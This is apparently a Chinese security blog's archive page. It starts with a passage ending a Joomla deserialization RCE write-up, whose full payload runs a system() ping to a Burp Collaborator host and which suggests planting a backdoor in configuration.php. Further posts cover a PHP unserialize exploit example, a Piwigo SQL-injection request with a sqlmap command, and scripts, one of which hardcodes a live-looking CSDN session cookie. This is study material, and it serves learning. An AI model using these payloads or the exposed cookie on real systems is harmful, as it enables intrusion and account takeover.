根据前面的分析，我们可以构造出如下payload：

x-forwarded-for：

normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

user-agent：

normal_user_agent1";s:3:"key";O:21:"JDatabaseDriverMysqli":3:{s:13:"\0\0\0justincase";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";s:4:"key3";s:888:

注意上面的normal_user_agent1，这里我又把2去掉了，是因为由于payload变长，之前的长度由两位数变成了三位数

session_decode方法可以正常解析我们构造的session数据

我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行

后记

上面只能一次次地发起请求来进行命令执行，有一种更加方便的方式，就是直接将后门写入Joomla应用的根目录下的configuration.php文件中

这个文件是最理想的文件，它和index.php位于同一个目录，而且文件结尾没有?>，我们可以通过file_put_contents方法将内容写入到该文件中

相比上面的exp，唯一需要变动的就是要让session_decode失败，从而将调用栈落回到index.php上

如果可以正常进行session_decode，那么调用栈的最低层会变成libraries\joomla\database\driver\mysqli.php，会出现找不到configuration.php文件的问题

写入后门版exp链接

不足之处，欢迎指正

PHP反序列化

2021-07-01T00:00:00+02:00

前言

100岁生日快乐！！！

noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga

参考链接：

正文

PHP的反序列化函数unserialize()接受两个参数

序列化字符串
选项

对于PHP开发者来说，选项只有一个，要么不设置，设置的话就只能是allowed_classes

定义了allowed_classes选项之后，只有被PHP允许的类才能够被反序列化，否则会被初始化为__PHP_Incomplete_Class

反序列化流程：

也就是说，只要我们的反序列化类实现了__wakeup或者__destruct中的任何一个方法，只要serialized方法反序列化了这样的对象，这两个方法就会被执行

反序列化一个对象需要满足一个前提

这个类一定是被预先定义过的

如果不满足这个前提，那么反序列化出来的类就是会被初始化为__PHP_Incomplete_Class，但是其类名和成员变量还是可以正常反序列化出来的，只是PHP认为他是一个没有被定义的类

php的serialized方法会保存被序列化的对象的所有属性（成员变量），有了这个，unserialize就能创建出一个原来的对象的copy

copy创建出来之后，PHP会搜索该对象的__wakeup方法，如果找到了该方法，就会执行其中的代码，该方法一般用来恢复数据库连接，因为序列化的对象在传输过程中可能已经和数据库失去了连接，需要在该方法中编写代码来重新初始化连接

然后就是对对象进行操作（调用对象的方法），最后销毁对象（调用__destruct方法）

一旦攻击者控制类传递给unserialize方法的序列化字符串，那么攻击者就能够控制对象的属性（成员变量）

biaojigaoliang1能够随心所欲的操作成员变量，就有可能控制程序执行的流程，进而达到RCEbiaojigaoliang2

利用反序列化漏洞需要两个前提：

反序列化的类一定要被预先定义
biaojigaoliang1该类一定要拥有魔术方法__wakeup或者__destruct，不管最终存不存在漏洞，如果没有这两个方法，你连注入代码的机会都没有biaojigaoliang2

例子

假如有下面这样一段代码：

<?php
class Fuck
{
    private $test;

    function __destruct()
    {
        system($this->test);
    }
}
$obj = unserialize(base64_decode(此处接收用户输入));

那么我们对应的exp就是：

<?php

class Fuck
{
    private $test = "hostname";
}

print(base64_encode(serialize(new Fuck)));

预防反序列化漏洞

限制反序列化或者白名单

//不允许反序列化对象（初始化出一个__PHP_Incomplete_Class对象），但是你仍然可以反序列化其他的数据结构，比如数组等
$object = unserialize($data, ['allowed_classes' => false]);

//白名单，只能反序列化白名单中的类
$whitelist = ['MyProject\\OtherNamespace\\ObjectAllowed'];
$object = unserialize($data, ['allowed_classes' => $whitelist]);

建议不要将用户输入用于反序列化

AWVS批量操作脚本

2021-06-30T00:00:00+02:00

前言

最近用AWVS+XRay联动扫描，但是需要针对扫描目标配置代理以及扫描类型

但是AWVS只支持逐个配置，很烦，就撸了一个小脚本，放出来XDM一起使用，如果有任何问题和改进建议，欢迎联系我邮箱

正文

完整脚本代码

代码的12~17行使我们需要配置的地方

你可以在此配置awvs地址、x-auth、待扫描目标、代理以及扫描类型

扫描类型是一个预定的字典，就在代码开头处定义

然后我定义了四个方法：

flirt，添加目标，以,分割的URL
kiss，配置目标
fuck，开始扫描
cum，停止并删除所有目标

这四个方法完全是孤立的，执行不分先后，根据自己的需求进行调用

效果如下：

更改windows7锁屏界面

2021-06-25T00:00:00+02:00

前言

哎，就是玩儿

noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga

正文

注册表打开regedit

如果没有OEMBackground键，就新建一个，值改成1

打开本地组策略gpedit.msc

将这张图片重命名为backgroundDefault.jpg，该文件的大小不能超过256KB

在C:\Windows\System32\oobe\目录创建info\backgrounds目录

然后把上面的文件放进去

重启

更改成功

Python2多线程

2021-06-25T00:00:00+02:00

渗透测试过程中，经常需要编写一些python小工具

但是单线程太慢了，多线程可以极快地提高效率

我们可以直接通过一个例子来学习多线程脚本的编写

下面是一个验证域名是否有效的python脚本

#!/usr/bin/python

import Queue
import threading
import time
import os
import sys
import socket
exitFlag = False
f = open(sys.argv[1])
marylines = f.readlines()
f.close()
countttter = threading.Lock()
countttterssss=0
tottttt = len(marylines)
class myThread (threading.Thread):
   def __init__(self, threadID, name, q):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.q = q
   def run(self):
        print "Starting " + self.name
        process_data(self.name, self.q)
        print "Exiting " + self.name

def process_data(threadName, q):
   while not exitFlag:
        queueLock.acquire()
        if not workQueue.empty():
            data = q.get()
            queueLock.release()
            print "%s processing %s" % (threadName, data)
            #print data
            try:
                socket.gethostbyname(data.strip())
                filelock.acquire()
                ssssssssssssf = open(sys.argv[3],'a')
                ssssssssssssf.write(data)
                ssssssssssssf.close()
                filelock.release()

            except socket.gaierror:
                print "unable to get address for: ", data
            countttter.acquire()
            global countttterssss
            countttterssss = countttterssss + 1
            print  str(countttterssss) + '-----------------------------' + str(tottttt) + '\n'
            countttter.release()
        else:
            queueLock.release()
       # time.sleep(1)
threadList= []
for fuck in range(0,int(sys.argv[2])):
    threadList.append("Thread-"+str(fuck))
#threadList = ["Thread-1", "Thread-2", "Thread-3"]
#nameList = ["One", "Two", "Three", "Four", "Five"]
queueLock = threading.Lock()
filelock = threading.Lock()
workQueue = Queue.Queue(len(marylines))
threads = []
threadID = 1

# Create new threads
for tName in threadList:
    thread = myThread(threadID, tName, workQueue)
    thread.start()
    threads.append(thread)
    threadID += 1

# Fill the queue
queueLock.acquire()
for word in marylines:
    workQueue.put(word)
queueLock.release()

# Wait for queue to empty
while not workQueue.empty():
    pass

# Notify threads it's time to exit

exitFlag = True

# Wait for all threads to complete
for t in threads:
    t.join()
print "Exiting Main Thread"

关于程序整个流程的解释

首先打开一个文件

进行readline操作，将每一行读取出来，形成一个列表存到marylines变量中

然后根据传入的第二个参数（线程数量），生成以数字进行编号的线程名称（这一部可以省略，因为线程无所谓名称），不进行编号脚本也可以正常工作

然后创建两个锁，一个用来锁队列，一个用来锁文件

创建一个队列，队列长度为marylines列表长度（待处理的域名）

声明一个空的threads列表，用于存储所有的变量，这个在后面join结束进程的时候会用到

在for循环中，启动所有进程同时将进程对象存入threads列表中

给队列加锁，然后往队列里面填充待处理的域名字符串，填充完毕，开锁

在队列空之前一直循环避免程序结束

然后我们来看线程的内容

主函数为process_data

给队列加锁，判断队列空了没

没空则取出来一个域名，然后开锁

打印出当前线程名称以及待处理的域名

用try-catche语句包裹域名解析的代码

使用socket.gethostbyname解析域名，抛出异常则后面的代码不会执行，打印出当前域名无法解析的信息

未抛出异常则给文件加锁，将域名以追加的形式写入到第三个参数指定的文件中

写入完毕，开锁

在try-catche语句外部，

给counter加锁，然后更改counter的值（+1），然后打印出当前counter的值以及总共的值，然后开锁

counter锁在程序最前面进行了声明

最后是判断队列是否为空的else分支：给队列开锁

我试了一下，直接开50个线程，速度还是很快的

Piwigo 2.7.1 SQLI学习

2021-06-22T00:00:00+02:00

前言

本文没有什么技术含量，就是自己的代码审计学习笔记

准备

代码下载链接：

https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip

php版本不能太高，这里用的是php5.4.45，xdm可以直接下载，使用的时候注意修改一下配置文件中的dll文件路径，另外下面两个扩展要打开

extension=php_gd2.dll
extension=php_mysql.dll

mysql自不用多说，肯定也是要有的

进入piwigo目录，启动web应用：

php5.4.45 -S 10.0.2.15:12345

分析代码

这个注入漏洞的成因就是in_array的强制类型转换

第一个参数会被强制转换为符合第二个参数（数组）中元素类型的数据类型

具体位置在piwigo-2.7.1\piwigo\include\functions_rate.inc.php的42行

方法rate_picture是在piwigo-2.7.1\piwigo\picture.php的第344行调用的

向上回溯并进行调试，可以发现要想触发漏洞，需要两个前置条件（通过调试picture.php中的代码可以得出）：

要有用户权限
至少要上传一张照片到相册中

然后在用户界面中一顿捣鼓（其实也没几个可以点的地方），发现下面这个地方会提交请求到piwigo-2.7.1\piwigo\picture.php

就是这个幻灯片放映这里，通过复制链接地址即可获得需要的参数:

picture.php?/1/category/1&slideshow=

通过调试代码我们可以知道还需要一个get参数action，且值为rate，另外还需要一个post参数rate，这个参数的值就是用于构造SQLI载荷的参数：

可以看到我们的'顺利进入了sql语句（虽然被转义了）

也就是说只要前面的是数字，整个变量就会被转换成后面数组元素的类型（本案例为int）

也就是12412a98r90qw8riere会被转换成12412

而且这种转换是默认的，只有你给in_array的第三个参数设置为true时，才不会进行这种强制类型转换

最后我们再给http头加上cookie，保存成文件给sqlmap跑时间盲注就行了

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1

sqlmap -r 1.txt -p rate -v 3 --tech=T

Typora自定义图片上传 + csdn图床脚本

2021-06-21T00:00:00+02:00

前言

刚才在弄CDN的时候因为忘记密码，所以用google邮箱收了一下邮件，意外的发现自己的GoogleAdSense竟然通过了！

Yes!!!!

以前的都被驳回了，这次竟然成功了，而且是在1月份就通过了，我本来以为都没戏了，所以很久没看，辛亏今天发现了，不然再过几天就被重置了

赶紧发篇文章，希望网站点击量能蒸蒸日上！！！！

正文

之前在公众号上发过csdn图床的脚本

后来发现服务器的空间越来越少了，其中占用空间最大的莫过于图片了，因此就想着把这个脚本利用起来，而碰巧最新版本的typora支持自定义图片上传脚本

我填的命令是

python C:\Users\x\tools\csdn_image_upload_api.py

这个脚本就是根据之前的脚本进行了一下修改，首先我们需要修改让其支持多参数，因为Typora有一个上传全部本地图片的选项，该选项会将当前文档中所有的图片路径作为参数传递给我们的脚本

参数的处理

for item in sys.argv[1:]:
    pic_path= item
    pic_path = pic_path.replace("\\\\", "\\")
    pic_path = urllib.parse.unquote(pic_path)

从第二个参数开始（第一个是脚本本身）逐个进行上传，由于typora传过来的参数中\进行过转义，因此需要将\\替换成\，另外中文字符进行了URL编码，因此还需要再进行一次解码

另外，windows命令行下接受的参数个数是有限制的，因此在使用Typora进行文档编辑时最好是时不时地上传一下本地图片

本地文件路径和图片url的映射

为了预防csdn哪天把我给ban了，或者官方对这个图片上传API进行了更严格的限制，我在上传文件的同时将本地文件和上传之后获得的URL进行了一个映射，并保存在对应文件的assets目录中的map.map文件中

图片上传完成后生成的map文件内容如下：

我单独写了一个脚本进行URL至本地文件的转换脚本，可以一次性的处理所有的md文档

import sys
import os

# f = open("c:\\1.txt","r", encoding="utf-8")
# lines = f.readlines()      
# for line in lines 

mylisadict = {}
for root,dirs,files in os.walk(r"C:\Users\x\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\home\x\wochinijiamile\content"):
    for dir in dirs:
        # print(dir)
        pathhdir = os.path.join(root,dir)
        my_file = pathhdir +'\\map.map'
        if os.path.isfile(my_file):
            f = open(my_file,"r", encoding="utf-8")
            lines = f.readlines()    

            for line in lines:
                mylist = line.strip().split(',')
                mylisadict[mylist[1]] = mylist[0]
            f.close()
for root,dirs,files in os.walk(r"C:\Users\x\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\home\x\wochinijiamile\content"):
    for file in files:

        if ".md"  in file:
            fuckfaile = os.path.join(root,file)
            print(fuckfaile)
            fff = open(fuckfaile,"r", encoding="utf-8")
            lines = fff.readlines()
            data = '
'.join([line.replace('\n', '') for line in lines])

            for key,values in mylisadict.items():
                data = data.replace(key, values)
            data = data.replace('
', '\n')
            fff.close()
            fisssn = open(fuckfaile, "wt", encoding="utf-8")
            fisssn.write(data)
            fisssn.close()

将第9行和第22行的路径修改为md文件的路径即可

当然，不出意外的话，这个脚本是用不着的，biaojigaoliang1最好永远都不要用上biaojigaoliang2

图床脚本

除了上面提到的修改，最后对返回的json字符串的正则匹配也进行了小的改动，因为我发现gif文件回来的路径有点不太一样，因此单独匹配了一下

完整脚本下载地址：

csdn_image_upload_api.py

安装依赖：

python.exe -m pip install requests
python.exe -m pip install filetype
python.exe -m pip install requests-toolbelt

大家在使用的时候需要根据自己的环境手动进行一些修改，比如第92行的代码就有我硬编码进去的字符串，XDM在用的时候需要进行更改

biaojigaoliang1如果有任何问题，请在下方评论或者联系我邮箱biaojigaoliang2

2023-06-09 更新

csdn中间更换过一次图片上传策略，后来又调整了，直接不让未授权网站直接在自己的网页中加载他们的图片了，所以用csdn作为网站的图床已经不合适了，改为使用github作为图床，反正我的网站在国内访问本来就很慢，所以我也不在乎访问github快还是慢了

github图床代码：

# -*- coding: utf-8 -*-
import os
import hashlib
import hmac
from base64 import b64decode,b64encode
import random
import requests
import http.cookiejar as cookielib
from urllib.parse import urlparse
import sys,os
#from get_all_article import get_all
import re
import urllib.parse
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import json
import sys


import filetype
import requests
from requests_toolbelt import MultipartEncoder
import json

import requests
import base64
from github import Github

import random
import string
from sys import platform
motherslash  =""
g = Github('替换为你自己的GitHub API Token')
if "win32" == platform:
    motherslash="\\"
else:
    motherslash ="/"
def generate_random_string(length):
    """Generate a random string of a given length."""
    letters = string.ascii_letters
    return ''.join(random.choice(letters) for i in range(length))
def uploadFile(filePath, file_name):
    repo = g.get_repo('wqreytuk'+"/"+'img_repo')
    try:
        contents = repo.get_contents(filePath.split(motherslash)[-1], ref="main")
    except Exception as e :
        # 如果这个文件不存在就会抛出异常，那么我们就可以创建文件了
        with open(filePath, "rb") as binaryFile:
            encoded_string = base64.b64encode(binaryFile.read())
        repo.create_file(file_name, "commit message", base64.b64decode(encoded_string.decode('utf-8')), branch="main")
        return 'https://raw.githubusercontent.com/wqreytuk/img_repo/main/'+file_name
def createUuid():
    text = ""
    char_list = []
    for c in range(97,97+6):
        char_list.append(chr(c))
    for c in range(49,58):
        char_list.append(chr(c))
    for i in "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx":
        if i == "4":
            text += "4"
        elif i == "-":
            text += "-"
        else:
            text += random.choice(char_list)
    return text

def get_sign(uuid,url):
    s = urlparse(url)
    ekey = "9znpamsyl2c7cdrr9sas0le9vbc3r6ba".encode()
    to_enc = f"POST\n*/*\n\nmultipart/form-data; boundary=----WebKitFormBoundaryJ2aGzfsg35YqeT7X\n\nx-ca-key:203803574\nx-ca-nonce:{uuid}\n/blog-console-api/v3/upload/img?shuiyin=2".encode()
    # print(to_enc)
    sign = b64encode(hmac.new(ekey, to_enc, digestmod=hashlib.sha256).digest()).decode()
    return sign


def check_size():
    pic_size = os.path.getsize(pic_path)
    if pic_size > 5242880:
        return False
    else:
        return True


def check_type():
    extension = os.path.splitext(pic_path)[1].lower()
    if extension == ".jpeg" or extension == ".jpg":
        return True
    if extension == ".gif":
        return True
    if extension == ".png":
        return True
    if extension == ".bmp":
        return True
    if extension == ".webp":
        return True
    return False


# my_open = open("C:\\Users\\x\\AppData\\Local\\Packages\\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\\LocalState\\rootfs\\tmp\\12.png.txt", 'w', encoding="utf-8")
# for item in sys.argv[1:]:
# my_open.write(item)
# my_open.write('\n')
# my_open.close()
if len(sys.argv) < 2:
    sys.exit(0)
mappath=''
temppath = sys.argv[1].replace("\\\\", "\\")

temppath = urllib.parse.unquote(temppath)
temppath = temppath.split('\\')
for ppppath in temppath[:-1]:
    ppppath+='\\'
    mappath +=  ppppath
for item in sys.argv[1:]:
    pic_path= item
    #print(pic_path)
    pic_path = pic_path.replace("\\\\", "\\")

    pic_path = urllib.parse.unquote(pic_path)

    sopurce_str = pic_path.split('content\\')
    sopurce_str = sopurce_str[1].replace('\\','/')
    #print(sopurce_str)
    #print(sopurce_str)


    filename = os.path.split(pic_path)[-1]
    mime = filetype.guess(pic_path).mime
    if not check_size():
        print("5M")
    else:
        if not check_type():
            print("jpg .gif .png .jpeg .bmp .webp")
        else:
            http_proxy  = "http://127.0.0.1:8080"
            image_path =pic_path
            proxyDict = {
                "https"  : http_proxy
            }
            image_duffix = image_path.split('.')[-1]
            headers = {}
            headers['Cookie'] = 'uuid_tt_dd=10_7112015950-1639885058827-362577; dc_session_id=10_1639885058827.570610; c_segment=1; c_page_id=default; dc_sid=eed914f227de263f524cb4cfbda6dc0b; SESSION=c4915425-05f5-4090-8a58-c0fa78df6173; c_pref=https://www.csdn.net/; c_ref=https://mp.csdn.net/; ssxmod_itna=iuDtAKBK7KDK4BcDeqC4jOxREG8yttY=dD/ItGDnqD=GFDK40oYHwKYDO8RN83bWRy415UnBexmTR=iuEC8R1f0oIPnxx0aDbqGkdROrQGGmxBYDQxAYDGDDPODj4ibDY tg9vxWKDwDB=DmqG2BkNDA4Dj8qww8qGEDA3DG8=Dmf=MBbi/YeDSF0UoIA=DjqGgDBLqW6h9DDUak6xDbEmuDeiDtqD9tmtXYeDHnOGb844CRxLPi9GCROhqIi3YUYhdtADj1R KmSIKIDv30OO32fCxD; ssxmod_itna2=iuDtAKBK7KDK4BcDeqC4jOxREG8yttY=G9YvFbDmxGXhKaGaIzITkx8g3UO/ Py4zubDliQhXnWey2x2W6DBth7I mYiOZAWYxoDwcGPGcDYFqxD; UserName=ma_de_hao_mei_le; UserInfo=d27ca33ac3ed424eaf249b73b44e56a8; UserToken=d27ca33ac3ed424eaf249b73b44e56a8; UserNick=ma_de_hao_mei_le; AU=F0F; UN=ma_de_hao_mei_le; BT=1639885104824; p_uid=U010000; c_first_ref=passport.gitcode.net; c_first_page=https://mp.csdn.net/; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1639885066,1639885087; Hm_up_6bcd52f51e9b3dce32bec4a3997715ac={"islogin":{"value":"1","scope":1},"isonline":{"value":"1","scope":1},"isvip":{"value":"0","scope":1},"uid_":{"value":"ma_de_hao_mei_le","scope":1}}; Hm_ct_6bcd52f51e9b3dce32bec4a3997715ac=6525*1*10_7112015950-1639885058827-362577!5744*1*ma_de_hao_mei_le; log_Id_click=3; log_Id_view=4; dc_tos=r4cffy; log_Id_pv=5; Hm_lpvt_6bcd52f51e9b3dce32bec4a3997715ac=1639885104'

            headers['Connection'] ='close'
            headers['Accept'] ="""application/json, text/javascript, */*; q=0.01"""
            headers['x-image-app'] = 'direct_blog'
            headers['x-image-dir'] = 'direct'
            headers['Content-Type'] = """application/json"""
            headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
            headers['x-image-suffix'] = image_duffix
            headers['Origin'] = 'https://editor.csdn.net'
            headers['Sec-Fetch-Site'] = 'same-site'
            headers['Sec-Fetch-Mode'] = 'cors'
            headers['Sec-Fetch-Dest'] = 'empty'
            headers['Referer'] = 'https://editor.csdn.net/'
            headers['Accept-Encoding'] = "gzip, deflate"
            headers['Accept-Language'] = 'zh-CN,zh;q=0.9'

            response = requests.get("https://imgservice.csdn.net/direct/v1.0/image/upload?watermark=&type=blog&rtype=markdown", headers=headers)
            jd = json.dumps(response.text)
            jjd = json.loads(jd)
            # print(jjd)
            key = jjd.split('"filePath":"')[1].split('.')[0] + '.'+image_duffix
            policy = jjd.split('"policy":"')[1].split('","signature":"')[0]

            OSSAccessKeyId = jjd.split('"accessId":"')[1].split('","policy":')[0]
            success_action_status='200'
            signature =  jjd.split(',"signature":"')[1].split('","dir"')[0]
            callback=  jjd.split('"callbackUrl":"')[1].split('","filePath"')[0]

            multipart_data = MultipartEncoder(
                fields={
                    # a file upload field
                    # plain text fields
                    'key':key,
                    'policy':policy,
                    'OSSAccessKeyId':OSSAccessKeyId,
                    'success_action_status':success_action_status,
                    'signature':signature,
                    'callback':callback,
                    'file': ('image.'+image_duffix, open(image_path, 'rb'), 'image/png'),
                }
            )

            response = requests.post('https://csdn-img-blog.oss-cn-beijing.aliyuncs.com', data=multipart_data,
                                     headers={'Content-Type': multipart_data.content_type})
            #/*,proxies=proxyDict,verify=False*/)
            #asdasdasd=response.text.split('"imageUrl":"')[1].split('"},"msg"')[0].split('",')[0]



            #file_path = r"C:\Users\x\AppData\Roaming\Tencent\QQMusic\QQMusicCache\QQMusicPicture\黄龄_龄·EP_4.jpg"
            file_name = generate_random_string(10) + ".jpg"
            asdasdasd = uploadFile(pic_path, file_name)
            print(asdasdasd)
            mmmmmmmmmmmmmmmmmmmpaht = mappath+'map.map'
            my_open = open(mmmmmmmmmmmmmmmmmmmpaht, 'a', encoding="utf-8")

            my_open.write(sopurce_str+','+asdasdasd+'\n')
            my_open.close()

在Line33填入你自己的Github API Token，然后分别将脚本中的字符串wqreytuk和img_repo替换为你的Github用户名和用于存放图片的仓库名称

我吃你家米了

Windows DSE bypass

VisualStudio离线安装

CreateLayout

准备网络文件共享位置

下载安装器来创建布局

下载vs package

已经构建好的可用安装包

GO系列之并发与Context

介绍

context

派生context

例子，Google web search

服务端程序

context的特别之处

WindowsInternal--APC

APC基本概念

APC进程上下文

APC类型

APC初始化

初始APC调度

SKAPC和RKAPC

调度

链接_KAPC到链表

命令线程去执行APC

当前线程的内核APC

SepcialApcDisable标志

APC中断

APC中断真的会break into到错误的线程中吗

针对其他线程的kernel apc

运行状态的thread

线程处于等待状态

线程唤醒和kiunwaitthread

针对gatewait状态下的thread

wait VS gatewait

Windows内核编程之引用计数

referecnce count do the rescue

Windows RPC学习

服务端实现

RpcServerUseProtseqEp

RPCRT4_get_or_create_serverprotseq

RPCRT4_use_protseq

RpcServerRegisterAuthInfo

RpcServerRegisterIfEx

RpcServerListen

RPCRT4_server_thread

rpcrt4_protseq_np_get_wait_array

wait_for_new_connection

RPCRT4_receive_fragment

process_bind_packet

RPCRT4_find_interface

RPCRT4_BuildBindAckHeader

QueueUserWorkItem

RPCRT4_start_listen

客户端实现

RpcStringBindingComposeA

RpcBindingFromStringBinding

RpcBindingSetAuthInfoExA

NdrClientCall2

do_ndr_client_call

client_do_args

NdrGetBuffer

call_marshaller

地址对齐

处理context handle参数

NdrSendReceive

逆向tips

procnum

总结

Windows Minifilter漏洞挖掘

过滤驱动的实现

过滤管理器和mini filter

将IO请求转发给不同的设备栈或者不同的file

minifilter通信

设备对象

minifilter port

针对KMDF驱动的逆向和漏洞挖掘

Windows RPC

recatos源码

RpcServerUseProtseqEpW

链接`_KAPC`到链表